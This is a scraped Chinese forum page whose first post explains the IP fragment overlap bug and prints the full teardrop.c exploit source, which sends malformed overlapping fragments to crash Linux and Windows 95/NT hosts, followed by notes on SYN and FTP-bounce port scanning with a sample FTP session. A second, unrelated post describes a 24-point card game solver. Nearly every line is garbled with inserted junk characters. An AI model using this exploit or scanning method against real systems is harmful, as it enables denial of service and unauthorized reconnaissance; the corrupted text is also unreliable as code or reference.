ptr += i; /* ptr into fragment data *// e) g7 A* g. \) Y8 {6 Q
}</P><P>/* Fill in the structure. */" I) g, b" B5 S, b8 p  q6 [4 r& ?
fp-&gt;offset = offset;4 o- ]1 W. @- R4 m2 J2 y
fp-&gt;end = end;5 L9 {9 Y6 T5 l* U( J! |
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
# F4 E! ^7 b  J, K, F第一个碎片:mf=1 offset=0 payload=20+ {9 j, K' }9 ^4 C) x
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 ) [. G: j& ^8 f: r3 @
offset=08 ?2 M. d: X3 M" G; s/ F: p
这样第二个碎片的 end=9+10=19
( `* M1 V. b. B  i: I$ ?offset=offset+(20-offset)=20
/ l. U( O, S: w( j6 pfp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
: Z7 q" G) l9 w, ~, \/ g1 s/ j- Q! z/*4 h1 e! ^, o. K& ]) o+ S0 X
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
$ V8 H3 k; p, F6 u' b, ]1 s) {*5 ~) a3 }+ s+ y4 e& K2 {
* Linux/NT/95 Overlap frag bug exploit
. Q2 b, C0 j% m  H9 _$ U*7 S. {1 O! b) ~5 h4 T
* Exploits the overlapping IP fragment bug present in all Linux kernels and" W  x0 D5 n) H5 d1 m8 L8 u
* NT 4.0 / Windows 95 (others?)
- p6 Z2 V% Q. z9 [4 e( ?' d** q7 A; N4 p3 m- Y# p% s( k: z
* Based off of: flip.c by klepto
0 r: z  B- A! M9 v; L$ p* Compiles on: Linux, *BSD*
3 I& K8 `6 \3 {% h*
/ ~" M# ~% Q- d* x% x' e* gcc -O2 teardrop.c -o teardrop
8 `) t+ k: F) F* OR; N# `2 Z; u" }
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING/ n+ Z6 U8 H- D' ]: q
*/</P><P>#include <STDIO.H>- I9 t" s% n8 \! s) W/ t
#include <STDLIB.H>
' @8 U* Y3 [, [/ J! J#include <UNISTD.H>
# O6 ]* |/ C" {#include <STRING.H>
+ P5 @3 a% {6 K: O( H1 S7 U/ h#include <NETDB.H>
* }/ D' U* l/ I2 Q/ S+ f#include <NETINET in.h>1 ?, D( E4 \) w: e, Y3 k2 O$ s: f
#include <NETINET udp.h>
6 n; b! A1 N! u) W& C#include <ARPA inet.h>! h/ G% O. i- G' _! s
#include <SYS types.h>* a, S- G. k' x  m) |
#include <SYS time.h>6 L, n0 d4 V# q
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING9 \1 R; }& N  Y
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */( x$ G* i- v& {0 N8 u- p
#define FIX(n) (n)' u6 r2 F4 l7 u$ q( i6 q
#else /* OpenBSD 2.1, all Linux */6 F9 ?" x8 b$ J
#define FIX(n) htons(n)
0 r, ]) w' L5 m# U3 p0 m% R#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */  c, M$ E4 Z. u4 c, ~0 x. j. k
#define IPH 0x14 /* IP header size */
4 Z/ V8 Q- H" n  M; s7 h+ J$ l#define UDPH 0x8 /* UDP header size */
) R0 D; b7 C% b& n8 s  f- c#define PADDING 0x1c /* datagram frame padding for first packet */5 o, t# r9 {1 S+ }
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
5 s  \, ]* O& r$ V8 O#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can1 a! _9 w7 i& m& K7 Q4 @
* withstand maybe 5 or 10 sometimes... Experiment.
! |: g2 x8 S: l; U7 N4 o*/</P><P>void usage(u_char *);
' D9 D1 l3 ~) A8 @u_long name_resolve(u_char *);9 Q1 T8 s( k5 N
u_short in_cksum(u_short *, int);
+ \/ I, D* ^+ g$ `) ?void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)% G# S2 m, L: Q/ ~5 l* @; W! R
{
5 u: }( a" l/ I. E4 Z$ i! M1 D, T8 Dint one = 1, # K; k" V$ p3 ~
count = 0,
9 U5 R, h& H5 I: Ji, , a0 l  F8 i3 y- B# J, {! t# C
rip_sock;
1 g* x. N+ M* O9 b9 n" ku_long src_ip = 0, dst_ip = 0;
. I) A/ n. Q4 R% B3 s  M% cu_short src_prt = 0, dst_prt = 0;2 q4 z5 i8 @* y5 ~! M
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
- N) T5 f# J( N, L* [( O0 F; Mif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)* n5 X( q' p7 x; d
{4 \  [/ _( x; v0 r
perror("raw socket");# Z4 Z5 Y; C9 y( r& ^- Y2 q
exit(1);3 y" O- o! h  r. X& J+ M0 A
}: u* Y, N0 N& l# K. g
//由系统处理IP校验和。: J: _3 U7 c* p) M, i
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))* O% I- S5 H. m) Q! V
&lt; 0)$ U; n$ h- `5 Z2 ]
{1 @+ @# F7 y4 B1 l3 h) T
perror("IP_HDRINCL");1 ]& ]6 L. I- y2 U
exit(1);: E- g" I# g, b0 G* n: A5 f
}</P><P>if (argc &lt; 3) usage(argv[0]);  y* D/ h2 f5 W
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))9 U6 l. U% G" K5 E2 F3 Z
{
' ]2 }, L1 I; z/ s2 T2 Cfprintf(stderr, "What the hell kind of IP address is that?\n");" v* X* ]% U6 T0 \
exit(1);$ }2 Q/ A+ t+ M1 i6 L
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
  [1 i/ }+ M3 k{
* G2 r. B2 y" H8 a" F; }" C! ^switch (i)
% U2 O4 m$ Q4 r1 z6 k# d9 h{
, e2 o- `6 t- ~8 rcase 's': /* source port (should be emphemeral) */
" K0 Z# V& I2 m) {  Dsrc_prt = (u_short)atoi(optarg);9 v# {! H4 o& Y8 h0 j+ p. Z
break;
1 I) R9 `  S9 N  C( {5 f( F4 `case 't': /* dest port (DNS, anyone?) */6 n5 G: ]+ o( v6 Y
dst_prt = (u_short)atoi(optarg);
9 G7 a/ K1 n7 Zbreak;0 l' ?2 Y/ e+ \+ @
case 'n': /* number to send */
' ]" E9 k: [7 h1 U- l+ Tcount = atoi(optarg);& ]) O, ^' j3 D: I0 b
break;
, R; u& U! U5 k( X; I/ x8 Mdefault :
- A/ J7 I" Q! l% v; O- ^usage(argv[0]);+ Y2 y) G3 Y7 x# `# M% V
break; /* NOTREACHED */) G& Z8 ~  [2 l3 W& _( c
}4 [' O) G1 I& q3 s% E( _/ n7 c$ Z/ Q6 E
}</P><P>srandom((unsigned)(time((time_t)0)));
# v. s7 f6 W: ]$ v2 K3 }, b- kif (!src_prt) src_prt = (random() % 0xffff);, J! b1 y/ t1 l" t( _6 B& d
if (!dst_prt) dst_prt = (random() % 0xffff);
0 q$ z5 ?$ c2 \$ }4 ?3 K. C: Y1 Fif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
/ r% s2 ]$ @' Z  D& s$ Q# ^* raddr.s_addr = src_ip;
, i: b" _: p, M0 _5 Hfprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);& _! ~5 M6 Y0 i' l: ?  m2 n$ K
addr.s_addr = dst_ip;
1 A8 a  a! ^7 C0 x. K/ n! afprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);# T# `7 N; ^# D% X- v0 e2 a
fprintf(stderr, " Amt: %5d\n", count);
+ p4 e6 f8 X5 gfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++), y& O: w% B* D* G% P$ V5 K
{8 }- I% j' M3 y+ Y- [
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
1 s! K" R- B# y' N& v( k8 \fprintf(stderr, "b00m ");
! r: L, t5 _* f/ H  h) l, Kusleep(500);$ D2 S- A4 f( v; Q: V- ], R
}
& Z( |! _- {( |6 I# c. b. E; hfprintf(stderr, "]\n");# G5 M, e. t3 c% h+ }3 L
return (0);
5 n+ _0 r( @6 y/ H* C& e0 Y}</P><P>/*# u& ^9 O9 W' {
* Send two IP fragments with pathological offsets. We use an implementation
' f- E8 l( {7 B( k5 A/ K* independent way of assembling network packets that does not rely on any of" P/ I8 g8 F0 [) m1 l
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).# h8 N  Q! K5 G! D' ^' J) D) p
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
; h8 P) P3 U: j5 J5 m6 \u_short dst_prt)
' A6 m1 j$ W: Q: S{
2 P6 K, u: \( E. X: T3 ~u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */* i$ M. R7 ?* L' z, E2 k
u_char byte; /* a byte */
4 ^; @; V0 ^, [. W3 p' F! q0 D2 Mstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;# N' O0 C/ W+ D$ l9 ^: i: ?5 L
sin.sin_port = src_prt;2 ]3 `; W3 P$ J- l$ f+ E
sin.sin_addr.s_addr = dst_ip;</P><P>/*9 Z3 @  j) u. f5 Y/ o3 q6 r- a
* Grab some memory for our packet, align p_ptr to point at the beginning# `) |7 h) r) h- x1 C) \
* of our packet, and then fill it with zeros.
3 _9 v9 V' `+ o*/5 j, D# p6 V$ v. h# j7 f
packet = (u_char *)malloc(IPH + UDPH + PADDING);; [$ {, O! g) }8 V& d. o( X
p_ptr = packet;
4 d; y# ^2 w! v, H6 j' D0 jbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
! r) ^$ |3 `2 ^3 @memcpy(p_ptr, &amp;byte, sizeof(u_char));
) c# P, h2 {# c" z9 f* }" ]0 op_ptr += 2; /* IP TOS (skipped) */  l# J, ^! q3 B! w% u% ^
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
8 `+ |  ~  Z% b. [+ E$ y" ^p_ptr += 2;
0 H: }+ T+ [. Z# p# l# X1 m; y*((u_short *)p_ptr) = htons(242); /* IP id */" p; d- e5 R. Z- G
p_ptr += 2;
+ @2 y- d9 n) R& ?( [4 \/ [*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */( j9 e, s7 |: {# G1 F$ l. u
p_ptr += 2;8 e/ F/ W6 ~$ s! ]" n+ P( I5 ]
*((u_short *)p_ptr) = 0x40; /* IP TTL */% L6 ~; y8 c3 W0 a2 r! T
byte = IPPROTO_UDP;  w+ {" o+ f6 o' \# c+ a
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
3 y8 [. R' |- \! Xp_ptr += 4; /* IP checksum filled in by kernel */; w1 p& X" h6 X" h& O
*((u_long *)p_ptr) = src_ip; /* IP source address */
+ H' `# i6 c8 [- s3 dp_ptr += 4;
; L  M- T/ ~& C  m$ P*((u_long *)p_ptr) = dst_ip; /* IP destination address */
$ o; F; d) q! e3 N3 \7 O/ cp_ptr += 4;
2 w, L8 s' J; B* ^; W& L*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
: E: W  ?- `5 G$ C7 Bp_ptr += 2;# J: o- m4 C- H9 x8 S4 G9 D
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
1 w4 q+ Q& Z  f% Qp_ptr += 2;7 Y' Y$ T8 H1 C1 F4 M9 I
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
% C; C$ i2 Q1 F* O  [2 Osizeof(struct sockaddr)) == -1)
' ^8 i$ F0 {" P, K) b9 J: m{
# D. }! e: x0 o9 X- M8 ]) zperror("\nsendto");9 i" c/ a4 H1 t, F+ }9 a
free(packet);
+ }9 \( A6 W) w; Y' `% gexit(1);
: {# b/ m  D! [3 D  N7 i8 o6 n}</P><P>/* We set the fragment offset to be inside of the previous packet's8 ]7 V! C# y$ O1 z# D+ b5 P
* payload (it overlaps inside the previous packet) but do not include
% `  G1 a: ?; `0 K6 D* enough payload to cover complete the datagram. Just the header will
- x+ |  T& A) ?8 |9 @2 C3 m* do, but to crash NT/95 machines, a bit larger of packet seems to work3 x0 \6 @& W* f
* better.
. W% p8 R  d* Q*/* {$ B! I0 x% Q* E8 R7 I
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
" I  o9 \- p, F7 \3 [*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);" V' o) X8 R' V& s! m
p_ptr += 4; /* IP offset is 6 bytes into the header */% ?# r  v% q* r0 A
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,5 U0 E5 \2 j8 p# R
sizeof(struct sockaddr)) == -1)' m; Z5 D& D6 p
{
( {1 V% g. I/ d. `perror("\nsendto");2 T) r& T' T2 [3 [6 t# d" w& T
free(packet);5 k( ]( l) i2 i  Q, N6 }' H
exit(1);  ?; c3 N0 H/ J+ _. n
}
0 I, L: E, H- d  kfree(packet);" Y; C4 _6 E- T/ \. o
}</P><P>u_long name_resolve(u_char *host_name); y! [% N. {& q8 g$ n' E/ G2 g
{7 z. `$ H' [- C2 `$ Z/ }( I
struct in_addr addr;
, x# Y3 x8 J1 h9 zstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)5 Q: L' G4 G* `) O5 K3 H( b2 G- V" e/ _
{
8 f! O- m4 L/ Y3 M% R  F" Bif (!(host_ent = gethostbyname(host_name))) return (0);
9 }1 d: |# t) V3 W6 I- \bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
; c: W' W* U8 w}0 f& K; ?3 t7 n2 ]6 o" ]
return (addr.s_addr);( @- m  k/ f  k( {
}</P><P>void usage(u_char *name)
  [; h) w# H: p3 t/ n{0 h7 }+ i: G2 ?4 i: A0 b2 m* s, d! ~
fprintf(stderr,9 J  ~- h/ a9 C  v$ Z- _3 t4 G% {6 m
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
/ d$ T0 b5 j8 [) M% hname);, C8 K4 v+ v8 [: X
exit(0);$ Q1 q3 d$ p' v0 Y/ v+ w/ R! Q
}</P><P>1 n6 Y! h( U5 o' |3 ^1 r: G
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
, p' Q1 }1 ^1 s* C# S. ]: u. V' w(1) Half-open(半打开)5 v& I: ?8 k0 K
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
0 `8 O# U. L' ]% f+ R0 v- [4 Q% C1 e如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner2 d* m/ |2 y. k# k9 N8 }
利用了FTP的port命令,例如可以这样作:1 E0 ?( D( y+ G
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
4 J) j- w* I2 ?+ `6 \2 ^0 q8 ^值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则, z* S" J6 H" U
该端口无服务。
5 p) B# T- n  W- O0 ]6 s0 utelnet 192.168.1.13 215 o+ H3 V4 A9 W( Q+ f3 h* D
Trying 192.168.1.13...
5 @, v2 i; q  u& Q$ \Connected to pp.bricks.org.
6 N, J7 M3 k4 Z) v, e5 R( mEscape character is '^]'.
6 @& [  c+ {3 J" e) f( Y& m* ^220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) ' N$ J% T3 S% d% m; m4 C" Q9 l  ~8 d
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous/ E& z# D# B( B. y( z4 [2 j( e
331 Guest login ok, send your complete e-mail address as password.
8 D6 V+ [; d: Z3 z) dpass aa@aa.aa0 m* {# Z5 @" ]! s+ c/ Y, v$ Z
230 Guest login ok, access restrictions apply.
# N, ^4 [& V/ T& p6 Q9 V2 _port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.; ^, |2 X. ^: @
425 Can't build data connection: Connection refused.
1 z2 R6 a+ d0 f- ^//该端口未活动
. m' F! ?& R$ `% n3 O150 Opening ASCII mode data connection for file list.
2 r7 K1 _3 n& \) M  b226 Transfer complete.% g/ o3 ~/ h, y# g1 |9 m
//该端口活动中
& B' d8 a% |& v) J但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing; i8 T* A( H3 `( x3 g: Q; N
SYN|FIN ACK or SYN|ACK* RST, @2 U9 @* w5 t$ i4 J* d" A# K
ACK Nothing RST# B9 ?# D# m! ]- i
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
) }1 e6 u- D* Z" g8 f6 f一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
7 N# _& P  O- ]5 m+ J) Z, T5 f若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
9 D5 g& p1 o% Y. N+ K定它在向你做portscan。</P><P>notes:3 `, N; ?7 o6 J+ J) p" V" f$ E/ ^" }
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
4 g0 m9 a' }' G; X  _而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的; P" @. P  g4 G/ _
都是向它scan。</P>
作者: 韩冰    时间: 2004-10-4 02:40
< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>( l! L! B* n0 O- k* {
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
* g8 S0 s" l2 t0 f. o+ \! g# T$ E# W+ O
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
0 S! _% G# p& W' @首先穷举的可行性问题。我把表达式如下分成三类——
, c' R! N3 }, H! M6 n+ A<FONT color=#ff0000>1、 无括号的简单表达式。1 M, `  T8 z' J/ S$ N6 \
2、 有一个括号的简单表达式。7 I$ _2 R3 Z+ {
3、 有两个括号的较复4、 杂表达式。
  u  t( V/ Y9 d9 U0 [</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
/ z2 Q; |' V- j  R3 W<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
/ a; Y  j' A( S8 Y* d0 }/* c[] 存放四张牌的数组 */3 B& d, x8 `% i! W- l. G
/* k[] c[]种四张牌的代号,其中k[I]=I+1。
0 r. }0 s7 Q, b. N: p用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */; o' ~% s. m3 g# S+ }' [' x
/* kans[] 暂存生成的排列组合 */
; Z9 h- Q9 b5 _) \/* j 嵌套循环的次数 */4 {2 R2 y* Q0 y  f, H- ?
int fans(c,k,ans,kans,j)
- _( V% Z, H9 q6 rint j,k[],c[];char ans[],kans[];
% p4 F/ ^3 x3 E+ \% e{ int i,p,q,r,h,flag,s[4],t[4][4];
& o2 h2 q6 e) N: ?0 I" Gfor(p=0,q=0;p&lt;4;p++)
% m( O$ T7 X" }: E/ ]+ t{ for(r=0,flag=0;r<J;R++)
, @$ ~. Z+ l5 x4 U* r if(k[p]!=kans[r]) flag++;5 s6 A  B  _6 t
if(flag==j) t[j][q++]=k[p];
3 R! a$ b1 x1 |) z% d) z}7 S% g7 K6 d8 z6 Q2 z# v2 p( x
for(s[j]=0;s[j]&lt;4-j;s[j]++)) Y4 r4 z2 n! [' _9 M$ B
{ kans[j]=t[j][s[j]];
, y- W' \+ ]) _if(j==3) { for(h=0;h&lt;4;h++)
2 H1 t; [; @1 y. m# G1 S, z" c8 Hans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表+ N. y0 A1 |' _# t/ \+ w, n
达式中的位置 */5 [0 K4 M$ ?/ Y2 R9 }. q6 a; A
for(h=0;h&lt;3;h++), X/ ^% {8 D5 ~2 R7 ]/ X
symbol(ans,h); /* 在表达式中添加运算符号 */
6 n7 T+ t) m$ t. Z7 Q6 e}5 M  [9 A  w" c5 v7 J; ~% [
else { j++;
7 n6 F, A' t7 l, tfans(c,k,ans,kans,j);
& ^7 j$ k0 q" Q: I; L) d7 oj--;; n3 J5 e& e, o; @
}. x: ]" M% w( j5 J7 P! N6 Q
}
5 R8 K1 p8 z) L* X8 C# }3 k5 ?; ^! O}</FONT>, x; u. e  e# Y9 \. r
; \: o+ _8 @0 B1 W2 _$ F
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
& q- a# k. V5 h
) f2 J, [2 N% u+ t+ s1 f<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
  e! K, t1 h1 y' J; a8 j4 ~int sans(ans,sy,j,h)
6 G3 G% B1 E" \: Z) _% h; ^char ans[],sy[];int j,h;
' v& ~! B3 t) |4 y9 t# A( W{ int i,p,k[3],m,n; char ktans[20];5 d% p1 s0 f, h" @" P* c
for(k[j]=0;k[j]&lt;4;k[j]++): K% T: S; u4 h" P
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位8 Y. j+ ?( U' g! v5 o9 l
这里的三个运算符号分别存放在1、3、5位*/ ' Z1 F: C+ b5 O% b6 a
if(j==2)
" j8 }4 H/ I2 }2 D& k1 [) A{ ans[5]=sy[k[j]];
' T+ `, G, s( s; @  g/* 此处根据不同的表达式形式再进行相应的处理 */, x$ b  R& c# r+ s: w6 K
}2 o) @5 a' K" }2 \9 S
else { j++; sans(ans,sy,j--,h); }; B9 i$ J2 T2 e3 _3 L+ [6 d( T
}' [; t" E$ Y4 Z! J
}% w2 W! M; b0 {; H7 y: i3 q
& S3 m- Z$ H# h: J2 e+ `
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。& n: A: G- W% T4 K
for(m=0;m&lt;=4;m+=2)& y. r% W5 p2 Q( g
for(n=m+4;n&lt;=8;n+=2)9 E* Y8 c+ O4 g
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
! m+ h! Y/ V: B% o+ L" N6 r0 ?$ W; \3 Y2 o: w, A
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
" B: E4 i5 r! e) G7 a& R</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
$ ~4 {8 W0 {' s: }, E/ p( \- j/ g2 u& A在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。# h, K9 @+ V) T" H

8 L; a  a. U' i7 Z4 }# M  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
, `6 Q2 ?$ f6 V6 i: j; v% M* _  D: l- c  ~
  那么作为栈的著名应用,表达式的计算可以有两种方法。/ ~0 H3 E$ h) b2 v! q

2 R2 a/ V6 c1 j$ A8 `7 n! V  <FONT color=#ff0000>第一种方法——</FONT>
6 g* f4 [  L5 f. @7 p: q! q  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。) ^! ]2 t4 R! X$ Q0 u; o) E
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:: Z/ |; c( D9 @) X# X& G
1、 若W为操作数
; ]* z' ^6 y+ \1 ~4 C2、 则将W压入操作数栈OVS1 ~6 r4 x1 p; A
3、 且继续扫描下一个字符4 N$ v" G/ \3 ]
4、 若W为运算符
: J& U1 P5 z7 y* v2 z1 i5、 则根据运算符的性质做相应的处理:
( ]. R/ N* m1 ~2 O/ i# P  L(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
, a) v% W1 N. U% s3 w(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
  v) r5 |. f, B) u/ s(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。3 L9 |/ C: N8 a* Q2 ?/ w
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
* I$ v3 k  H0 d6 v( \- E
4 ?5 ?# M/ U! V9 _, ?3 O<FONT color=#ff0000>  第二种方法——</FONT>
) r( m2 [8 G4 k1 x; N/ b& h  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。9 f+ N' Q- e* d- ~3 Q

! l7 V8 {# a1 U7 }4 t  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
: H3 Z. A- P2 n1 \4 F% K- n, s( H( A' @& c' Y! [2 r
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
+ ^# S2 q) i! F) a4 l5 Z% r表达式 波兰表达式1 j  {7 N3 ?+ S  R* _
A-B AB-
. m7 L$ O! x2 p3 m(A-B)*C+D AB-C*D+* r8 y7 d+ I- S6 r8 o+ n
A*(B+C/D)-E*F ABCD/+*EF*-* W/ a0 ?  A. S" w" [
(B+C)/(A-D) BC+AD-/
/ e! Z) C/ Z3 y; b$ y1 H6 E6 T+ O8 X: v
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
: C. ]9 Z. T. {! c0 M  O& i) A6 Q. ]8 T( I& e" N* A9 K
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。+ u, o4 l+ ~+ M. l; A
0 C7 R/ O: y: b: b7 e
  下面给出转换和计算的具体实现程序——: I" w% H* @) r2 {% k
9 s' X# A$ u4 W" _9 N, i3 X0 j  O
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
+ v  S2 B2 r( U' {4 x5 zint first(char c)6 k* o" V! e/ e$ [& l3 u& K
{ int p;
8 m0 E3 Q2 C1 Q& H0 pswitch(c)
' F) s4 ]  m. D1 A! h{ case '*': p=2; break;. [( H5 K# y& H6 i3 D6 v
case '/': p=2; break;  r5 A9 t/ l4 c' r+ ~' _$ O5 [
case '+': p=1; break;  f' N) M: n+ a6 g- ]
case '-': p=1; break;
7 S/ d; h* N; n) M; ?5 Tcase '(': p=0; break;$ _2 |. x  R2 B2 A% u
case '=': p=-1; break;
